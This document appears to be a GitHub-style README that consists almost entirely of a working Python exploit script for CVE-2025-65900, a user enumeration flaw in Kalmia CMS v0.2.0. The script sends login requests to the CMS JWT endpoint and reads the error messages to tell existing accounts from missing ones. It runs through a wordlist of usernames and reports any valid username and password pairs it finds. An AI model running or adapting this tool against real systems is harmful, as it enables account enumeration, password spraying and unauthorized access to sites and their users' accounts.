README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import requests
import json
import sys
from urllib.parse import urljoin
from colorama import Fore, Style, init
from time import sleep
init(autoreset=True)
banner = f"""
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ███████╗ █████╗ █████╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗ ███████╗╚█████╔╝╚██████║╚██████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══██╗╚════██║██╔══██╗ ╚═══██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ╚██████╔╝███████║╚█████╔╝ █████╔╝ █████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚══════╝ ╚════╝ ╚════╝ ╚════╝
"""
for char in banner:
print(f"{Fore.RED}{Style.BRIGHT}{char}", end='', flush=True)
sleep(0.0008)
def checkCredentials(url, username, password):
endpoint = "/kal-api/auth/jwt/create" # Edit if necessary
full_url = urljoin(url, endpoint)
payload = {
"username": username,
"password": password
}
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0'
}
try:
response = requests.post(
full_url,
headers=headers,
data=json.dumps(payload),
timeout=30
)
if response.status_code == 200:
return "valid_credentials"
response_data = response.json()
message = response_data.get('message', '')
if message == "user_not_found":
return "user_not_found"
elif message == "invalid_password":
return "invalid_password"
else:
return "unknown_error"
except requests.exceptions.RequestException as e:
return "connection_error"
except json.JSONDecodeError:
return "invalid_response"
def main():
parser = argparse.ArgumentParser(description='Exploit for user enumeration: Kalmia CMS v0.2.0 - CVE-2025-65900', formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument('url', help='Base URL (e.g., http://localhost:2727)')
parser.add_argument('-u', '--user', help='Username to test')
parser.add_argument('-p', '--password', help='Password to test')
parser.add_argument('-w', '--wordlist', help='Wordlist file for user enumeration')
args = parser.parse_args()
print("-" * 50)
print(f"[*] URL Base: {args.url}")
print("-" * 50)
if not args.url.startswith(('http://', 'https://')):
print("Error: URL must start with http:// or https://")
sys.exit(1)
if args.user and args.password:
result = checkCredentials(args.url, args.user, args.password)
if result == "valid_credentials":
print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid credentials: {args.user}:{args.password}")
elif result == "invalid_password":
print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid user: {args.user}")
elif result == "user_not_found":
pass
else:
print(f"[-] Error: {result}")
elif args.wordlist and args.password:
try:
with open(args.wordlist, 'r') as f:
users = [line.strip() for line in f if line.strip()]
print(f"{Fore.YELLOW}{Style.BRIGHT}[*] Starting user enumeration with {len(users)} users...\n")
valid_users = []
for user in users:
result = checkCredentials(args.url, user, args.password)
if result == "invalid_password":
valid_users.append(user)
print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid user found: {user}")
elif result == "valid_credentials":
print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid credentials: {user}:{args.password}")
if valid_users:
print(f"\n{Fore.GREEN}{Style.BRIGHT}[+] Summary - Valid users: {', '.join(valid_users)}")
else:
print("[-] No valid users found")
except FileNotFoundError:
print(f"Error: Wordlist file '{args.wordlist}' not found")
sys.exit(1)
except Exception as e:
print(f"Error reading wordlist: {e}")
sys.exit(1)
else:
print("Error: You must provide either:")
print(" - Single test: -u USER -p PASSWORD")
print(" - Enumeration: -w WORDLIST -p PASSWORD")
sys.exit(1)
if __name__ == "__main__":
main()